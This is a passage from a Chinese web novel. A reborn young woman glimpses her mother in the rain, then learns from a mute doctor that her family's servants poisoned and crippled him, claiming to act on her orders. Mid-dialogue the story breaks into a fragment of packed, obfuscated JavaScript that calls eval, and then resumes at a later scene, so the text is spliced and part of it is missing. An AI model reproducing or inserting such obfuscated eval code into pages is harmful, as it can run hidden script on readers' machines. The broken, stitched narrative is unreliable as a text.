“其实,进城这几日我听说了不少蜚语流言,直到今日见少夫人、尚公子都十分维护这位阿灵姑娘,才心感惭愧,或许包括我自己在内,很多人都对她误解颇深。” “林姑娘在套我的话?”赵瑾儿笑的时候会出现一只梨涡,因此这话凉飕飕的,她说话的表情却温和不已。 “我的确是好奇。”云挽灵腆脸道:“阿兄不言,可我看得出,他对这位阿灵姑娘情意深厚,却也有误解,若能化开他的心结,说不定他会比现在更开心一点。” “我以为你......”赵瑾儿以为云挽灵是出于私心来打听褚昀的过往情事。 “我敬褚大夫如兄长,从未有非分之想,今日好奇相问,实属觉得当年之事有误会,想帮兄长化开这个心结。” 赵瑾儿敛色,将杯中茶一饮而尽,叹息道:“斯人已逝,褚昀竟然还未忘怀......” 天边云层低垂,无星无月,云挽灵坐在马背上神思游离,大街人烟稀少,晚风潮湿又沉闷,隐隐透着大雨将来的征兆。 云挽灵浑然不觉,一路魂不守舍,当有零星几点的雨水滴落到手背时,她才幽幽抬头,望了一眼乌云压顶的天空,没有什么情绪地喃喃道:“下雨了。” 她勒紧缰绳,准备快马奔回,大道上却驶来一辆低调的马车,她只好先让行。 马车没有驶出多远就稳稳停在一座府邸前,云挽灵隔着夜色遥遥一眺,匾额上两枚烫金大字亮眼夺目: 云府。 一滴雨水重重砸落在她心头,扬起一片心尘。 烫金匾额底下,站着一个人,身形清癯,一手执伞,一手抱伞。 一个女人走下马车,背影挺拔如松如柏,她身穿紫袍官服,腰佩金玉带,脚踏乌皮履,从上到下一丝不苟,唯一不同寻常的是胸前一朵白色纸花。 在扶安的风俗里,家里有至亲之人过世,胸前就要佩戴这样的纸花,以表哀痛,以示纪念,也为引导亡者在回魂时找到自己真正的亲人。 纸花通常会在头七之后取下,也有长久佩戴的人,若是亡者的父母,一般表示父母希望来世再续亲缘,或指引子女多来自己梦中相见,若是亡者的丈夫或妻子,则表示此生不再嫁娶,守丧终生。 府门前,那等候已久的人将怀中伞撑开,为女人挡住愈来愈急的飞雨,女人端肃的面容松弛了几分,开口道:“不是派人传话说今日会回来得晚,怎么还在这里等?” 男人笑意温和:“见要下雨了,怕你没带伞。” “小雨而已,况且人都到家门口了。”女人道。 “我也只能在这点小事上为你分忧。”男人似乎习惯了身旁之人平淡疏离的语气,淡笑不减,眉目依然温和:“我只是希望能替颂之多多照顾你。” “这个年纪,谈什么照顾不照顾。”云瑛接过虞明夷手中的伞,一阵风起,将她胸前的白色纸花吹飞,打入一片水洼,虞明夷想要去捡,却被云瑛拦下:“不必捡了,还有新的。” 话上虽如此,云瑛看着在水洼中被泥水污染,花瓣被雨打得零碎的白色纸花,还是鬼使神差地走过去,自己将它捡了起来,而在抬伞起身的刹那,视线里有一人一骑在不远处的雨幕中消失不见。 虞明夷见云瑛伫立原地,问:“阿瑛?怎么了。” 云瑛将泥花攥在手心,声音略哑:“没事。回去吧。”许是太过想念,竟然生出了错觉。 云挽灵策马而驰,不知过了多久,浑身都被大雨淋湿。记忆如水洗般在脑海里清晰再现,她怎么会认不出自己母亲,可是云瑛明明都要看见她了,她却下意识转身而逃。 她不想见云瑛。她想见云瑛吗? 可她身边还站着自己最厌恶的人——虞明夷,这个自己名义上的继父,一个在好友过世不久就迎娶友妻的忘恩负义之徒。 云挽灵任由马蹄带着她在大雨里忽跑忽走忽停,兜兜转转,终于回到同心医馆。 医馆外,褚昀撑着伞在等她,今夜雨大风急,他半身也被斜飞的大雨浇透了,积水几欲漫过他的鞋底,他却一动不动。 云挽灵魂不守舍,从马背上翻身而下时脚步虚软,差点跌倒,好在褚昀眼疾手快将她抱入怀里。 云挽灵勉强睁开沉重的眼皮,见褚昀神色阴沉得可怕,一如药王谷他找到自己那夜,她有气无力,扯着唇角道了一句:“我说会回来的吧。”然后彻底昏死过去。 再睁眼,自己已经躺在了床上,褚昀端着药汤坐在床边,见她醒了,伸手探了探她额头的温度,面色稍稍缓和下来。 云挽灵感觉浑身酸软,猜到是自己淋雨着凉,多半染了风寒。她强撑着起身半坐,一眼看见褚昀手里的褐色汤药,面露难色。 她顺带回忆起的,还有自己因为心疾饱受药苦的过去。 她平生最恨苦得催呕的药剂。 褚昀似乎看穿了云挽灵的心思,从身后的小柜上端来一碟蜜饯,意思很明显——万事俱备。 云挽灵认命地捏着鼻子将药往胃里灌,连着塞了几颗蜜饯,好歹将苦味压了下去。 她用袖口随意擦去唇角药渍,眼睛在屋里找了一圈,问:“小白呢?” “出门野了。”郑盈盈从门外进来,手里端一碗热气腾腾的青菜鸡蛋面,云挽灵见之两眼放光。 小姑娘哼声道:“这么晚才回来,就知道你没吃饭。我先说明,这可不是我做的,是昀哥哥可怜你。”她将面条往床边柜头一放,眼睛不知看向何处,话却是对着云挽灵说:“芙蓉酥挺好吃的。” 云挽灵轻笑:“好吃就好。” “你刚刚说,小白出去了?” 郑盈盈点头,从怀里摸出一粒黑色的小珠子,正是白狐那只竹蛇玩物的眼睛,她递给云挽灵,道:“就是你们出门那会儿,我看见她跑出去了。” “外边这么大的雨,它怎么还没回来?”云挽灵有点担心。 褚昀仍坐在床沿,他端起那碗面条,用筷子卷成一团,轻轻吹凉,送到云挽灵嘴边,云挽灵想都没想,直接一口吃下,就这么心安理得地接受褚昀的喂食。 郑盈盈看不下去,视线乱飘,道:“狐狸聪明,一般都是认路的,可能现在被雨困在哪里,明日雨停了就会回来。而且它不是挂着铃铛吗?别人见了也知道是有主的,不会乱抓。” 云挽灵姑且放下心,空荡的胃被温暖的食物填满,她逐渐恢复了些力气,等郑盈盈离开,她坐直身子,对褚昀道:“你没有什么要问我的?” 褚昀将碗筷放好,闻言只是摇头。他往云挽灵身后垫了只软枕让她舒服靠着,顺手又将被角掖了掖。 云挽灵盯着他平静无波的面色,问:“你不问我为什么淋着雨回来,总要问我从尚府打听到什么吧。” “好,既然你没有要问的,那我来问。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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况且赵瑾儿何等玲珑心思,早在几人郊游踏春或是秋猎的时候就看穿云挽灵和褚昀两人互生情愫,但两人一个比一个犟,没一个口头承认。褚昀不辞而别的那几天,云挽灵茶饭不思,她上门拜访时可都看在眼里、记在心里。 所以她从来不赞同尚怀春所言——云挽灵和柳长清是天生一对,但她也不清楚云挽灵最后怎么就同意嫁给柳长清了。 出于好心,赵瑾儿帮助褚昀进了云府,掩护他在灵堂守了几夜。 之后无论赵瑾儿怎么问他,他一个字都不再提,一切只能不了了之。 赵瑾儿猜,或许在褚昀心里,云挽灵一死,是非于他而言更无意义,因此面对他人,惟剩缄默。 不知是不是担心云挽灵真的在万分之一的可能中伤害了褚昀,为了替她做些弥补,还是了解到褚昀的遭遇后真心可怜,总之,赵瑾儿一直在暗中接济医馆,与褚昀姑且算作君子之交淡如水。 “褚昀,告诉我,到底发生了什么?”云挽灵的嗓音温柔到骨子里,她将冰凉的手心覆上褚昀苍白的脸,让他再次直视自己。 “是谁将你毒哑?是谁......残忍地打断了你的右腿?是谁,将你抛弃到城南的荒庙里?”云挽灵越说,声音越抖,她无法接受有人这样残忍地对待褚昀,更不能接受这个人会是她自己。 她像等待审判一般,强迫自己也直视褚昀的眼睛,试图从这双眼睛里得到让她如释重负的答案,可胸口的呼吸却越来越艰难,无形的巨石越压越紧。 褚昀摊开她的一只手心,一笔一划地写道:云府仆从。 云挽灵喘了一口气,心弦再次绷紧,她问:“凭你的身手,不应该......为什么?” “......” 凭褚昀的身手,几个府中仆从怎么可能奈何他,关键是他们借云挽灵的名义先在食物里下了毒。 褚昀几次伸手又收回,最后僵硬地写下:他们说,你的命令。 云挽灵的心堤彻底决溃,她猛地后退,将自己与褚昀拉开好一段距离。 自己的命令,自己真的下达过这样残忍的命令吗?是因为她要嫁入柳家,褚昀挡了她的道?可她明明是在褚昀离开后才答应这门婚事的,但她此刻想不起自己为什么会答应,她连自己的前夫是谁都忘得干干净净。 如果是她的命令,褚昀就这么心甘情愿地承受了? 褚昀站起来走近她,托起她的掌心,写道:过去了。 云挽灵摇头道:“不。” 她的思绪飞速运转着:“不会是这样。褚昀,我要找到那几个家仆,我要弄清楚。” “如果有人迫害你、栽赃我,目的绝对不会简单。” 脑中灵光一闪,云挽灵浑身猝然发冷,她意识到,自己从未想过,为什么自己偏偏死在了大婚当日! 与此同时,云府外,一道雪白的身影在飞檐上穿梭,白狐一路嗅着云挽灵的气味找来这里,但瓢泼大雨把一切痕迹都清洗干净了,它茫然四顾。 苍蓝色的闪电划破夜空,霎时天白如昼,白狐眼底倒映出阶下一道人影,不,是一只飘荡的幽魂。 那幽魂在暴雨呼啸中抬首,双目凛然,恨火滔天......